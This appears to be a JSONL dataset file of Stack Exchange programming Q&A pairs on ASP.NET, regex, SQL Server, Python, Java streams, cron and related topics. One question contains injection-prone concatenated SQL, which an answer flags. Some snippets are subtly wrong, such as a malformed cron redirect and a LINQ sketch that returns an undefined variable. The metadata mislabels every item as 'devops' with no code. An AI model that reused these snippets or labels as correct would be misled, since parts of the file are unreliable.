"2026-01-17T15:22:34.956376"}
{"id": "hf_ed82da0c2438", "question": "<p>I'm using the <a href=\"http://www.asp.net/AJAX/AjaxControlToolkit/Samples/AutoComplete/AutoComplete.aspx\" rel=\"nofollow noreferrer\">AutoComplete</a> control from the ASP.NET AJAX Control Toolkit and I'm experiencing an issue where the AutoComplete does not populate when I set the focus to the assigned textbox.  </p>\n\n<p>I've tried setting the focus in the Page_Load, Page_PreRender, and Page_Init events and the focus is set properly but the AutoComplete does not work.  If I don't set the focus, everything works fine but I'd like to set it so the users don't have that extra click.  </p>\n\n<p>Is there a special place I need to set the focus or something else I need to do to make this work?  Thanks.</p>\n", "question_body": "", "answer": "We had exactly the same problem.  What we had to do is write a script at the bottom of the page that quickly blurs then refocuses to the textbox.  You can have a look at the (terribly hacky) solution here:\nhttp://www.drive.com.au\nThe textbox id is\n```\nMainSearchBox_SearchTextBox\n```\n.  Have a look at about line 586 & you can see where I'm wiring up all the events (I'm actually using prototype for this bit.\nBasically on the focus event of the textbox I set a global var called\n```\ntextBoxHasFocus\n```\nto true and on the blur event I set it to false.  The on the load event of the page I call this script:\n```\n```\nif (textBoxHasFocus) {\n    $get(\"MainSearchBox_SearchTextBox\").blur();\n    $get(\"MainSearchBox_SearchTextBox\").focus();\n}\n```\n```\nThis resets the textbox.  It's really dodgy, but it's the only solution I could find", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.993821"}
{"id": "hf_eb48fdd3ab67", "question": "<p>Of course the best metric would be a happiness of your users.<br>\nBut what metrics do you know for GUI usability measurements?<br>\nFor example, one of the common metrics is a average click count to perform action. \nWhat other metrics do you know?  </p>\n", "question_body": "", "answer": "Jakob Nielsen has several articles regarding usability metrics, including one that is entitled, well,\nUsability Metrics\n:\nThe most basic measures are based on the definition of usability as a quality metric:\nsuccess rate (whether users can perform the task at all),\nthe time a task requires,\nthe error rate, and\nusers' subjective satisfaction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.043523"}
{"id": "hf_79c8faaaf583", "question": "<p>Is there any benefit in using a <code>&lt;blockquote&gt;</code> element over a <code>&lt;div&gt;</code>? I was looking at a website's markup to learn CSS and I couldn't figure out why the <code>&lt;blockquote&gt;</code> was being used.</p>\n\n<p>EDIT: Yeah sorry I didn't clarify, it was used to hold the <code>&lt;div&gt;</code> tag with username as 'text' and an <code>input</code> tag. There was clearly no quote.</p>\n", "question_body": "", "answer": "Semantically, a\n```\nblockquote\n```\ntag makes sense when you're quoting something.  Sure, a stylized div can do the same thing, but why not use the right tag for the job?\nAdditionally, the blockquote tag allows you to include a citation with the\n```\ncite\n```\nattribute.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.093741"}
{"id": "hf_6c4c8e75f0d9", "question": "<p>What database should a beginner use in the C language?</p>\n\n<p>Can I use MySQL?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You can use SQLite, MySQL, PostgreSQL, or any other DBMS with a C language binding.\nSQLite In 5 Minutes Or Less\nMySQL C API\nPostgreSQL C API", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.118937"}
{"id": "hf_8c6a80972b3a", "question": "<p>In one of my applications I have a 1gb database table that is used for reference data. It has a huge amounts of reads coming off that table but there are no writes ever. I was wondering if there's any way that data could be loaded into RAM so that it doesn't have to be accessed from disk?</p>\n\n<p>I'm using SQL Server 2005</p>\n", "question_body": "", "answer": "You're going to want to take a look at memcached. It's what a lot of huge (and well-scaled) sites used to handle problems just like this. If you have a few spare servers, you can easily set them up to keep most of your data in memory.\nhttp://en.wikipedia.org/wiki/Memcached\nhttp://www.danga.com/memcached/\nhttp://www.socialtext.net/memcached/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.171211"}
{"id": "hf_03fb15dbaec9", "question": "<p>Is there a way using Python's standard library to easily determine (i.e. one function call) the last day of a given month?</p>\n\n<p>If the standard library doesn't support that, does the dateutil package support this?</p>\n", "question_body": "", "answer": "EDIT: See @Blair Conrad's answer for a cleaner solution\n```\n```\n>>> import datetime\n>>> datetime.date(2000, 2, 1) - datetime.timedelta(days=1)\ndatetime.date(2000, 1, 31)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.207870"}
{"id": "hf_fff84210ef4d", "question": "<p>What would be the best way to develop a text box that remembers the last x number of entries that were put into it.  This is a standalone app written with C#.</p>\n", "question_body": "", "answer": "This is actually fairly easy, especially in terms of showing the \"AutoComplete\" part of it.  In terms of remembering the last x number of entries, you are just going to have to decide on a particular event (or events) that you consider as an entry being completed and write that entry off to a list... an AutoCompleteStringCollection to be precise.\nThe TextBox class has the 3 following properties that you will need:\nAutoCompleteCustomSource\nAutoCompleteMode\nAutoCompleteSource\nSet AutoCompleteMode to SuggestAppend and AutoCompleteSource to CustomSource.\nThen at runtime, every time a new entry is made, use the Add() method of AutoCompleteStringCollection to add that entry to the list (and pop off any old ones if you want).  You can actually do this operation directly on the AutoCompleteCustomSource property of the TextBox as long as you've already initialized it.\nNow, every time you type in the TextBox it will suggest previous entries :)\nSee this article for a more complete example:\nhttp://www.c-sharpcorner.com/UploadFile/mahesh/AutoCompletion02012006113508AM/AutoCompletion.aspx\nAutoComplete also has some built in features like FileSystem and URLs (though it only does stuff that was typed into IE...)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.245209"}
{"id": "hf_21ab5e41d64a", "question": "<p>Does anyone know how to setup <a href=\"http://www.selenic.com/mercurial/wiki/index.cgi/Mercurial\" rel=\"noreferrer\">Mercurial</a> to use <a href=\"http://www.perforce.com/perforce/products/merge.html\" rel=\"noreferrer\">p4merge</a> as the merge/diff tool on OS X 10.5?</p>\n", "question_body": "", "answer": "I'm guessing there's a CLI tool for p4merge (which I know nothing about).\nI wrote a blog post about using Changes.app, and some other GUI tools with Mercurial:\nUsing Mercurial with GUI Tools.\nBasically, you need to know the calling expectations of the CLI tool that loads up the diff tool.  IE, how to make it load data from a particular file, and how to make it wait for exit.  There should be enough info on the post to give you some ideas.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.270812"}
{"id": "hf_d2064ed354eb", "question": "<p>I'm behind a firewall at work at the moment and I was testing something that I had deployed to my website, and the work proxy seems to be blocking it somewhat.</p>\n\n<p>Basically I am getting a message of:</p>\n\n<blockquote>\n  <p>Operation is not valid due to the current state of the object</p>\n</blockquote>\n\n<p>I've got it down to my proxy interferring, but I can't see any advanced settings or anything I can set up to go through my proxy to get to my service.</p>\n\n<p>I did a quick google for it, but no joy.</p>\n\n<p>Anyone found a quick way to get around it?</p>\n", "question_body": "", "answer": "Edit, I forgot to write this part in the answer: You may need to add the web reference url to the safe list for your proxy.  I am not sure what proxy you are using or if you have control of it, but this should solve your problem.  If you don't have access to change the proxy, then I put a quick work around right below.\nHere's a quick work around, just use the browser to navigate to the WSDL.  Grab the xml and save it as a .wsdl file on your computer you would like to generate the client on.  Then use the\nwsdl.exe\nto generate the client pointing it to the path you saved the wsdl file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.295480"}
{"id": "hf_e8a931f72dfa", "question": "<p>I am looking for a regex that will match a string that starts with one substring and does not end with a certain substring.</p>\n\n<p>Example:</p>\n\n<pre><code>// Updated to be correct, thanks @Apocalisp\n^foo.*(?&lt;!bar)$\n</code></pre>\n\n<p>Should match anything that starts with \"foo\" and doesn't end with \"bar\".  I know about the [^...] syntax, but I can't find anything that will do that for a string instead of single characters.  </p>\n\n<p>I am specifically trying to do this for Java's regex, but I've run into this before so answers for other regex engines would be great too.  </p>\n\n<p>Thanks to @Kibbee for verifying that this works in C# as well.  </p>\n", "question_body": "", "answer": "I'm not familiar with Java regex but documentation for the\nPattern Class\nwould suggest you could use (?!X) for a non-capturing zero-width negative lookahead (it looks for something that is not X at that postision, without capturing it as a backreference). So you could do:\n```\n```\nfoo.*(?!bar) // not correct\n```\n```\nUpdate\n: Apocalisp's right, you want negative lookbehind. (you're checking that what the .* matches doesn't end with bar)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.336927"}
{"id": "hf_b9731e450a9a", "question": "<p>Starting a new project and would like to use one of the MVC framworks.  <a href=\"http://www.asp.net/mvc/\" rel=\"nofollow noreferrer\">ASP.NET MVC</a> is still in preview but <a href=\"http://springframework.net/\" rel=\"nofollow noreferrer\">Spring.net</a> is in production and has a history with Java.  I'd like to know the general lowdown between the two.</p>\n\n<p>Current questions..<br>\nWhat are the major feature differences?<br>\nWhat about deployment/hosting issues?<br>\nFuture support? Do you think Spring.net will fade once ASP.NET MVC is in production.<br>\nCurrent Support?  I saw the Jeff twitting about a breaking change in the next preview.  </p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I am a little confused by the question.  Spring.Net is a dependency injection framework that you can use in ASP.NET MVC.  I kind of based my answer off what you are actually asking though.  The difference between ASP.NET MVC and another MVC framework that runs in ASP.NET.\nIf you are worried about using ASP.NET MVC in production since it is not even in beta yet, then you may want to check out\nMonoRail\nas an alternate.  There are some differences in features, but the two are pretty close in terminology and how MVC is implemented.  To learn differences,\nhere is a question\nthat was posted, that you might want to monitor.  I think once ASP.NET hits release, that most Microsoft shops will switch to it.  With ASP.NET MVC still being developed, you will run into breaking changes that you will have to change when you upgrade to the next release.  That goes with the territory of living on the edge.  You just need to read the release notes before jumping to the latest release.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.361138"}
{"id": "hf_c225a5c48a2c", "question": "<p>I have upgraded a MS Visual Studio Application from VS 2003 to VS 2008 (Targeting .NET 2.0). As part of the conversion process the wizard said I needed to take the additional step of Converting my Project to a Website by Right-Clicking and blah blah blah...</p>\n\n<p>I didn't follow directions and the web application seems to be working fine.</p>\n\n<p>My question is, should I be concerned about pushing this to a production system? What exactly is going on here?</p>\n", "question_body": "", "answer": "There are two types of web applications in ASP.NET: The Web Site and Web Application Project. The difference between the two are discussed here:\nDifference between web site and web applications in Visual Studio 2005\nConvert to Website allows you to convert a Web Application Project to a Web Site.\nVisual Studio 2003 used the Web Application Project style, but initially VS2005 only supported web sites. VS2005 SP1 brought back Web Applications.\nIf you don't want to convert your project to a web site, apply SP1 if you're using VS2005. VS2008 can support either.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.397820"}
{"id": "hf_b7c275b23018", "question": "<p>I'm looking for a simple algorithm to generate a large number of random, aesthetically pleasing colors. So no crazy neon colors, colors reminiscent of feces, etc. </p>\n\n<p>I've found solutions to this problem but they rely on alternative color palettes than RGB.\nI would rather just use straight RGB than mapping back and forth. These other solutions also can at most generate only 32 or so pleasing random colors. </p>\n\n<p>Any ideas would be great.</p>\n", "question_body": "", "answer": "you could have them be within a certain brightness. that would control the ammount of \"neon\" colors a bit. for instance, if the \"brightness\"\n```\n```\nbrightness = sqrt(R^2+G^2+B^2)\n```\n```\nwas within a certain high bound, it would have a washed out, light color to it. Conversely, if it was within a certain low bound, it would be darker. This would eliminate any crazy, standout colors and if you chose a bound really high or really low, they would all be fairly close to either white or black.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.434764"}
{"id": "hf_cc7ad7ef6289", "question": "<p>I have a self referencing Categories table. Each Category has a CategoryID, ParentCategoryID, CategoryName, etc. And each category can have any number of sub categories, and each of those sub categories can have any number of sub categories, and so and and so forth. So basically the tree can be X levels deep.</p>\n\n<p>Then Products are associated to leaf (sub) Categories. Is there a way to get all the Products for any given Category (which would be all the products associated to all its leaf descendants) using LINQ to SQL? </p>\n\n<p>This feels like a recursive problem. Is it better to used a Stored Procedure instead?</p>\n", "question_body": "", "answer": "Well here is a terrible rushed implementation using LINQ.\nDon't use this :-)\n```\n```\npublic IQueryable GetCategories(Category parent)\n{\n    var cats = (parent.Categories);\n    foreach (Category c in cats )\n    {\n        cats  = cats .Concat(GetCategories(c));\n    }\n    return a;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.483360"}
{"id": "hf_f53d2ac2eda6", "question": "<pre><code>public static IList&lt;T&gt; LoadObjectListAll&lt;T&gt;()\n{\n    ISession session = CheckForExistingSession();\n    var cfg = new NHibernate.Cfg.Configuration().Configure();\n    var returnList = session.CreateCriteria(typeof(T));\n    var list = returnList.List();\n    var castList = list.Cast&lt;typeof(T)&gt;();\n    return castList;\n}\n</code></pre>\n\n<p>So, I'm getting a build error where I am casting the \"list\" element to a generic IList .... can anyone see a glaring error here? </p>\n", "question_body": "", "answer": "I think\n```\n```\nvar castList = list.Cast<typeof(T)>();\n```\n```\nshould be\n```\n```\nvar castList = list.Cast<T>();\n```\n```\n@Jon Limjap The most glaring error I can see is\n  that an\n```\nIList\n```\nis definitely different from an\n```\nIList<T>\n```\n. An\n```\nIList\n```\nis non-generic\n  (e.g.,\n```\nArrayList\n```\n).\nThe original question was already using an\n```\nIList<T>\n```\n. It was removed when someone edited the formatting. Probably a problem with Markdown.\nFixed now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.521712"}
{"id": "hf_95be07ec76df", "question": "<p>Simple question, but one that I've been curious about...is there a functional difference between the following two commands?</p>\n\n<pre><code>String::class\nString.class\n</code></pre>\n\n<p>They both do what I expect -- that is to say they return <code>Class</code> -- but what is the difference between using the <code>::</code> and the <code>.</code>?</p>\n\n<p>I notice that on those classes that have constants defined, IRB's auto-completion will return the constants as available options when you press tab after <code>::</code> but not after <code>.</code>, but I don't know what the reason for this is...</p>\n", "question_body": "", "answer": "The\n```\n.\n```\noperator basically says \"send this message to the object\". In your example it is calling that particular member. The\n```\n::\n```\noperator \"drills down\" to the scope defined to the left of the operator, and then calls the member defined on the right side of operator.\nWhen you use\n```\n::\n```\nyou have to be referencing members that are defined. When using\n```\n.\n```\nyou are simply sending a message to the object. Because that message could be anything, auto-completion does not work for\n```\n.\n```\nwhile it does for\n```\n::\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.545999"}
{"id": "hf_b97411d6085a", "question": "<p>I was surprised to find today that I couldn't track down any simple way to write the contents of an <code>InputStream</code> to an <code>OutputStream</code> in Java. Obviously, the byte buffer code isn't difficult to write, but I suspect I'm just missing something which would make my life easier (and the code clearer).</p>\n\n<p>So, given an <code>InputStream</code> <code>in</code> and an <code>OutputStream</code> <code>out</code>, is there a simpler way to write the following?</p>\n\n<pre><code>byte[] buffer = new byte[1024];\nint len = in.read(buffer);\nwhile (len != -1) {\n    out.write(buffer, 0, len);\n    len = in.read(buffer);\n}\n</code></pre>\n", "question_body": "", "answer": "I think this will work, but make sure to test it... minor \"improvement\", but it might be a bit of a cost at readability.\n```\n```\nbyte[] buffer = new byte[1024];\nint len;\nwhile ((len = in.read(buffer)) != -1) {\n    out.write(buffer, 0, len);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.571840"}
{"id": "hf_d49ac7ee2083", "question": "<p>I'm working on a C#/ASP.NET project that has all the javascript files in a /Javascript folder. If I refer to the JS file using this syntax: src=\"/Javascript/jsfile.js\" then the file is correctly picked up if the project is deployed to the root of the URL.</p>\n\n<p>However, if this \"web site\" is deployed to a sub-folder of the main url this won't work. So the solution could be to use relative urls - but there's a problem with that as well because the master pages reference many of the javascript files and these master pages can be used by pages in the root and in subfolders many levels deep.</p>\n\n<p>Does anybody have any ideas for resolving this?</p>\n", "question_body": "", "answer": "If you reference the JS-file in a section that is \"runat=server\" you could write src=\"~/Javascript/jsfile.js\" and it will always work.\nYou could also do this in your Page_Load (In your masterpage):\n```\n```\nPage.ClientScript.RegisterClientScriptInclude(\"myJsFile\", Page.ResolveClientUrl(\"~/Javascript/jsfile.js\"))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.671328"}
{"id": "hf_b0145e4d99cb", "question": "<p>Google is not being my friend - it's been a long time since my stats class in college...I need to calculate the start and end points for a trendline on a graph - is there an easy way to do this? (working in C# but whatever language works for you)</p>\n", "question_body": "", "answer": "OK, here's my best pseudo math:\nThe equation for your line is:\nY = a + bX\nWhere:\nb = (sum(x*y) - sum(x)sum(y)/n) / (sum(x^2) - sum(x)^2/n)\na = sum(y)/n - b(sum(x)/n)\nWhere sum(xy) is the sum of all x*y etc. Not particularly clear I concede, but it's the best I can do without a sigma symbol :)\n... and now with added Sigma\nb = (Σ(xy) - (ΣxΣy)/n) / (Σ(x^2) - (Σx)^2/n)\na = (Σy)/n - b((Σx)/n)\nWhere Σ(xy) is the sum of all x*y etc. and n is the number of points", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.708460"}
{"id": "hf_4222db017df6", "question": "<p>Is there a graceful way to handle passing a list of ids as a parameter to a stored procedure? </p>\n\n<p>For instance, I want departments 1, 2, 5, 7, 20 returned by my stored procedure. In the past, I have passed in a comma delimited list of ids, like the below code, but feel really dirty doing it. </p>\n\n<p>SQL Server 2005 is my only applicable limitation I think.</p>\n\n<pre><code>create procedure getDepartments\n  @DepartmentIds varchar(max)\nas\n  declare @Sql varchar(max)     \n  select @Sql = 'select [Name] from Department where DepartmentId in (' + @DepartmentIds + ')'\n  exec(@Sql)\n</code></pre>\n", "question_body": "", "answer": "Yeah, your current solution is prone to SQL injection attacks.\nThe best solution that I've found is to use a function that splits text into words (there are a few posted here, or you can use\nthis one from my blog\n) and then join that to your table. Something like:\n```\n```\nSELECT d.[Name]\nFROM Department d\n    JOIN dbo.SplitWords(@DepartmentIds) w ON w.Value = d.DepartmentId\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.733544"}
{"id": "hf_358a1b2ec42b", "question": "<p>Can we have the database and transaction logs on the same drive? What will be its consequences if it is not recommended?</p>\n", "question_body": "", "answer": "The only downside is that it causes more thrashing on the disk, so worse performance.\nA single write will require 2 seeks (between: write transaction log, write data, commit log). Having the transaction log on a separate disk means as few as zero seeks, because the drive heads can remain on the transaction log and the data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.771289"}
{"id": "hf_caaffd6b620d", "question": "<p>How can I do this fast?</p>\n\n<p>Sure I can do this:</p>\n\n<pre><code>static bool ByteArrayCompare(byte[] a1, byte[] a2)\n{\n    if (a1.Length != a2.Length)\n        return false;\n\n    for (int i=0; i&lt;a1.Length; i++)\n        if (a1[i]!=a2[i])\n            return false;\n\n    return true;\n}\n</code></pre>\n\n<p>But I'm looking for either a <a href=\"https://en.wikipedia.org/wiki/Standard_Libraries_%28CLI%29#Base_Class_Library\" rel=\"noreferrer\">BCL</a> function or some highly optimized proven way to do this.</p>\n\n<pre><code>java.util.Arrays.equals((sbyte[])(Array)a1, (sbyte[])(Array)a2);\n</code></pre>\n\n<p>works nicely, but it doesn't look like that would work for x64.</p>\n\n<p>Note my super-fast answer <a href=\"https://stackoverflow.com/a/8808245/4489\">here</a>.</p>\n", "question_body": "", "answer": "I would use unsafe code and run the\n```\nfor\n```\nloop comparing Int32 pointers.\nMaybe you should also consider checking the arrays to be non-null.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.808928"}
{"id": "hf_5775c35fd2b7", "question": "<p>In Django's template language, you can use <code>{% url [viewname] [args] %}</code> to generate a URL to a specific view with parameters. How can you programatically do the same in Python code?</p>\n\n<p>What I need is to create a list of menu items where each item has name, URL, and an active flag  (whether it's the current page or not). This is because it will be a lot cleaner to do this in Python than the template language.</p>\n", "question_body": "", "answer": "If you need to use something similar to the\n```\n{% url %}\n```\ntemplate tag in your code, Django provides the\n```\ndjango.core.urlresolvers.reverse()\n```\n. The\n```\nreverse\n```\nfunction has the following signature:\n```\n```\nreverse(viewname, urlconf=None, args=None, kwargs=None)\n```\n```\nhttps://docs.djangoproject.com/en/dev/ref/urlresolvers/\nAt the time of this edit the import is\n```\ndjango.urls import reverse\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.845822"}
{"id": "hf_09cdb3742380", "question": "<p>I know that I can do something like</p>\n\n<pre><code>$int = (int)99; //(int) has a maximum or 99\n</code></pre>\n\n<p>To set the variable <code>$int</code> to an integer and give it a value of <code>99</code>. </p>\n\n<p>Is there a way to set the type to something like <code>LongBlob</code> in MySQL for <code>LARGE</code> Integers in PHP?</p>\n", "question_body": "", "answer": "No. PHP does what is called automatic type conversion.\nIn your example\n```\n```\n$int = (int)123;\n```\n```\nthe \"(int)\" just assures that at that exact moment 123 will be handled as an int.\nI think your best bet would be to use a class to provide some sort of type safety.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.870936"}
{"id": "hf_b10f1877250f", "question": "<p>Using <a href=\"http://pyobjc.sourceforge.net/\" rel=\"noreferrer\">PyObjC</a>, you can use Python to write Cocoa applications for OS X. Can I write native iPhone apps using Python and if so, how?</p>\n", "question_body": "", "answer": "Not currently, currently the only languages available to access the iPhone SDK are C/C++, Objective C and Swift.\nThere is no technical reason why this could not change in the future but I wouldn't hold your breath for this happening in the short term.\nThat said, Objective-C and Swift really are not too scary...\n2016 edit\nJavascript with NativeScript framework is available to use now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.895989"}
{"id": "hf_56970dcdf663", "question": "<p>I know that default cron's behavior is to send normal and error output to cron's owner local email box.</p>\n\n<p>Is there other ways to get theses results (for example to send it by email to a bunch of people, to store them somewhere, and so on) ?</p>\n", "question_body": "", "answer": "The cron line is just like any other unix command line so you can redirect output to another program. Ie.\n```\n```\n* * * * * /path/my/command > /my/email/script 2&>1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:35.976995"}
{"id": "hf_193b8b068257", "question": "<p>For example, I issued an ALTER TABLE statement to create an index on a MEDIUMTEXT field in an InnoDB table that has 134k rows where the size of the index was 255 bytes and the average size of the data in the field is 30k.  This command has been running for the last 15 minutes or so (and is the only thing running on the database).  Is there any way for me to determine if it is going to finish in closer to 5 minutes, 5 hours, or 5 days?</p>\n", "question_body": "", "answer": "This is a pretty common request apparently - requested as far back as 2005 on\nbugs.mysql.com\n. \nIt exists in Oracle already, and is listed as useful, but\n\"it is not a simple thing to do, so don't expect it to be\nimplemented soon.\"\n. Although that was 2005 :)\nThat said, the chap who asked the original question later released a\npatch\nfor MySQL 5.0, backported to 4.1, which might help you out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.063790"}
{"id": "hf_49807852284e", "question": "<p>Say I have a site on <a href=\"http://example.com\" rel=\"noreferrer\">http://example.com</a>. I would really like allowing bots to see the home page, but any other page need to blocked as it is pointless to spider. In other words</p>\n\n<p><a href=\"http://example.com\" rel=\"noreferrer\">http://example.com</a> &amp; <a href=\"http://example.com/\" rel=\"noreferrer\">http://example.com/</a> should be allowed, but \n<a href=\"http://example.com/anything\" rel=\"noreferrer\">http://example.com/anything</a> and <a href=\"http://example.com/someendpoint.aspx\" rel=\"noreferrer\">http://example.com/someendpoint.aspx</a> should be blocked.</p>\n\n<p>Further it would be great if I can allow certain query strings to passthrough to the home page:\n<a href=\"http://example.com?okparam=true\" rel=\"noreferrer\">http://example.com?okparam=true</a> </p>\n\n<p>but not\n<a href=\"http://example.com?anythingbutokparam=true\" rel=\"noreferrer\">http://example.com?anythingbutokparam=true</a></p>\n", "question_body": "", "answer": "Basic robots.txt:\n```\n```\nDisallow: /subdir/\n```\n```\nI don't think that you can create an expression saying 'everything but the root', you have to fill in all sub directories.\nThe query string limitation is also not possible from robots.txt. You have to do it in the background code (the processing part), or maybe with server rewrite-rules.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.088688"}
{"id": "hf_b99500afa70c", "question": "<p>I know 'best' is subjective, so according to you, what is the best solution for the following problem:</p>\n\n<p>Given a string of length n (say \"abc\"), generate all proper subsets of the string. So, for our example, the output would be {}, {a}, {b}, {c}, {ab}, {bc}, {ac}. {abc}.</p>\n\n<p>What do you think?</p>\n", "question_body": "", "answer": "```\n```\ndef subsets(s):\n    r = []\n    a = [False] * len(s)\n    while True:\n        r.append(\"\".join([s[i] for i in range(len(s)) if a[i]]))\n        j = 0\n        while a[j]:\n            a[j] = False\n            j += 1\n            if j >= len(s):\n                return r\n        a[j] = True\n\nprint subsets(\"abc\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.125273"}
